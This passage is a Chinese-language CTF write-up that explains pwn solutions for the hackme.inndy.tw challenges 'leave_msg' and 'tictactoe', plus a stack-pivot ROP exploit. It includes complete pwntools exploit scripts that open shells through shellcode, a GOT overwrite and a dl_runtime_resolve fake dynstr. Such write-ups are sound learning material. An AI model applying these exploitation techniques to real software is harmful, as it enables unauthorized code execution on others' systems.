*0x68 payload += 'aaaa' payload += p32(system) payload += p32(start) payload += p32(binsh) p.send(payload) p.recv() p.interactive()
这里佛系,因为onedagdet用不了~就用system啦
还可以试着栈迁移思想:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 payload = '' payload += '\x00' *0x68 payload += p32(bss) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0x0 ) payload += p32(bss) payload += p32(0x100 ) p.send(payload) payload = p32(bss2) payload += p32(write_plt) payload += p32(pop_3_ret) payload += p32(0x1 ) payload += p32(read_got) payload += p32(0x10 ) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0x0 ) payload += p32(bss2) payload += p32(0x100 ) p.send(payload) read_addr = u32(p.recv(4 )) print 'read_addr---->' + hex(read_addr)libc_base = read_addr - libc.symbols['read' ] system = libc_base + libc.symbols['system' ] binsh = libc_base + libc.search('/bin/sh' ).next() payload = 'aaaa' payload += p32(system) payload += p32(0xdeadbeef ) payload += p32(binsh) p.send(payload)
15、题目: leave_msg
看到这个保护就很舒服,只有canary保护,而且有RWX段,去内存看看是哪可以搞一波操作。
原来是0x8049000到0x804b000的位置,意味着bss是可读可写可执行的(shellcode),
这里可以看到atoi函数转成整形,但是这个函数有个漏洞,就是会忽略掉空格和换行符,可以看到下面有检验上溢出和下溢出的函数,那么空格+负数就可以绕过了,同时strlen函数有个函数遇到\x00就会停下来,那么就可以绕过这个长度检测,strdup函数是copy函数,strdup会自动申请一块大小和buf一样的堆块,把buf内容复制进堆块接着把堆地址赋值给0x804A060那里,我们要对got动手了,选择puts的got表。先看看偏移~
因为我们的puts的got表位置在0x804a020,和0x804a060相距-0x40,除4得到-0x10(-16),所以偏移量就算出来了,这里puts的got表无法直接写shellcode,8字节的got位置要写8字节的shellcode不太可能,所以换种思路,写一条指向栈的汇编(add esp,xxx;jmp esp),指向我们的shellcode就好了~接着计算偏移xxx:(si进入到puts函数,相当于执行,观察esp)
可以计算出偏移为0x30,那么要跳到shellcode,就要加len(jump)+ 1:
汇编代码长度为5,那么总偏移就是0x30+5+1 = 0x36,则exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level='debug' local = 1 elf = ELF('./leave_msg' ) if local: p = process('./leave_msg' ) libc = elf.libc else : p = remote('nc hackme.inndy.tw' ,7715 ) libc = ELF('./libc-2.23.so.i386' ) shellcode = asm(shellcraft.sh()) jump = asm("add esp,0x32;jmp esp;" ) payload = '' payload += jump + '\x00' + shellcode p.recvuntil("I'm busy. Please leave your message:" ) p.send(payload) p.recvuntil("Which message slot?" ) p.send(" -16" ) p.interactive()
总结:这题就是数组下标溢出的题目嘛,利用了atoi函数的漏洞和strlen的漏洞,got表不止可以写其他的地址,还可写汇编指令喔~(甚至是shellcode(8字节长的)) 16、题目:tictactoe 1 2 3 4 5 6 7 8 king@ubuntu:~/桌面/Hackme$ checksec tictactoe [*] '/home/king/\xe6\xa1\x8c\xe9\x9d\xa2/Hackme/tictactoe' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 ) king@ubuntu:~/桌面/Hackme$
canary保护和堆栈不可执行~看看ida:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 int __cdecl main () { signed int v0; int v1; int fd; signed int i; ssize_t v5; char buf[256 ]; unsigned int v7; v7 = __readgsdword(0x14 u); setbuf(stdout , 0 ); fclose(stderr ); fwrite("Thanks MatthewStell for the AI, https://gist.github.com/MatthewSteel/3158579\n" , 1u , 0x4D u, stderr ); sub_80486C7(" ____ ____ __ __ __ __\n" " / __ \\ / __ \\ \\ \\ / / \\ \\ / /\n" "| | | | | | | | \\ V / \\ V /\n" "| | | | | | | | > < > <\n" "| |__| | | |__| | / . \\ / . \\\n" " \\____/ \\____/ /_/ \\_\\ /_/ \\_\\\n" "\n" "\n" "\n" ); sub_80486C7("Welcome to use AlphaToe" ); sub_80486C7("Try to beat my A.I. system" ); printf ("Computer: O, You: %c\nPlay (1)st or (2)nd? " , byte_804B04C); if ( sub_804871C() % 2 == 1 ) v0 = 1 ; else v0 = -1 ; dword_804B048 = v0; for ( i = 0 ; i <= 8 && !sub_80487F6(); ++i ) { if ( dword_804B048 == -1 ) { sub_80489C0(); } else { sub_8048762(); sub_8048A4B(); } dword_804B048 = -dword_804B048; } v1 = sub_80487F6(); if ( v1 ) { if ( v1 == 1 ) { sub_8048762(); sub_80486C7("You lose. :(" ); } else if ( v1 == -1 ) { sub_80486C7("You win. Inconceivable!" ); fd = open ("flag_simple" , 0 ); v5 = read (fd, buf, 0x100 u); if ( fd <= 0 || v5 <= 0 ) { sub_80486C7("Can not read flag! Pls contact admin" ); } else { buf[v5] = 0 ; printf ("Here is your flag: %s\n" , buf); sub_80486C7("You need a shell to get another flag" ); } exit (0 ); } } else { sub_80486C7("Draw!......" ); } memset (&dword_804B048, 0 , 0x18 u); puts ("You sucks!" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned int sub_8048A4B () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("\nInput move (9 to change flavor): " ); v1 = sub_804871C(); if ( v1 == 9 ) { read (0 , &buf, 4u ); byte_804B04C = buf; sub_8048A4B(); } else { *(v1 + 0x804B056 ) = byte_804B04C; if ( sub_80486F0(v1) ) *(v1 + 0x804B04D ) = -1 ; } return __readgsdword(0x14 u) ^ v3;
而且由于前面的地址相同,所以只需要写末2位即可。
这里为了验证方便,分别在0x08048A8A和0x08048A9E的位置下断点,动态调试看看是否改成功了。
修改成功,直接再随便输入一个值即可退出getshell,那么exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context.log_level='debug' local = 0 elf = ELF('./tictactoe' ) if local: p = process('./tictactoe' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7714 ) libc = ELF('./libc-2.23.so.i386' ) cat_flag = 0x8048C46 def change (addr,offset) : p.recvuntil("move (9 to change flavor): " ) p.send('9' ) p.send(addr) p.recvuntil("move (9 to change flavor): " ) p.send(offset) p.recvuntil("Play (1)st or (2)nd? " ) p.send('1' ) change('\x46' ,' -50' ) change('\x8C' ,' -49' ) p.send('0' ) p.interactive()
检验下:
这是第一种方法,我们尝试用getshell的方法去做:
这里介绍下dl_runtime_resolve:利用fake_dynstr实现system的调用。
由ida可知:
当游戏结束时,调用memset,参数放在0x804B048处,那么利用fake_dynstr实现system调用,再把参数$0写入0x804B048,即可getshell,这里有个坑点,就是每一次轮到机器人时,0x804B048会变成负数,解决方法是统一在奇数位改~
0x804AF54存第一个参数标记,0x804AF58存第二个参数即dynstr的地址,那么我们只要改0x804AF58这个指向dynstr的指针即可。
那么我们就要构造出fake_dynstr表,让system字符串的偏移也是0x44就好了,因为ida咩有system字符串,所以可以自己找找,或者自己写一个到某一个bss地址上(前提能写),这里先找找先
找到了现成的直接用,0x804a00c - 0x44 = 0x8049fc8,那么直接改dynstr表地址为这个地址,就可以了,这样偏移为0x44的地方就是我们的system的地方,前面的地址相同,只需要覆盖两位即可,第一轮先填0,好让机会再次把握在我们手中,制造出和局的场面,则exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.log_level='debug' local = 1 elf = ELF('./tictactoe' ) if local: p = process('./tictactoe' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7714 ) libc = ELF('./libc-2.23.so.i386' ) dynstr = 0x0804af58 system_str = 0x0804a00c fake_dynstr = 0x08049fc8 player = 0x804b048 bss = elf.bss() fake_addr = bss + 0x100 def change (string,addr) : offset = addr - 0x804B056 p.recvuntil("move (9 to change flavor): " ) p.sendline('9' ) p.send(string) p.recvuntil("move (9 to change flavor): " ) p.send(str(offset)) p.recvuntil("Play (1)st or (2)nd? " ) p.sendline('1' ) change('\x00' ,player) change('\x24' ,player) change('\xc8' ,dynstr) change('\x30' ,player + 1 ) change('\x9f' ,dynstr + 1 ) change('\x00' ,fake_addr) change('\x00' ,fake_addr) change('\x00' ,fake_addr) change('\x00' ,fake_addr) p.interactive()
验收下:
总结 这里dl_runtime_resolve的运用,改dynstr表,就要改指向此表的指针,然后构造相同的偏移量~实现趁机fake调用,很棒的操作。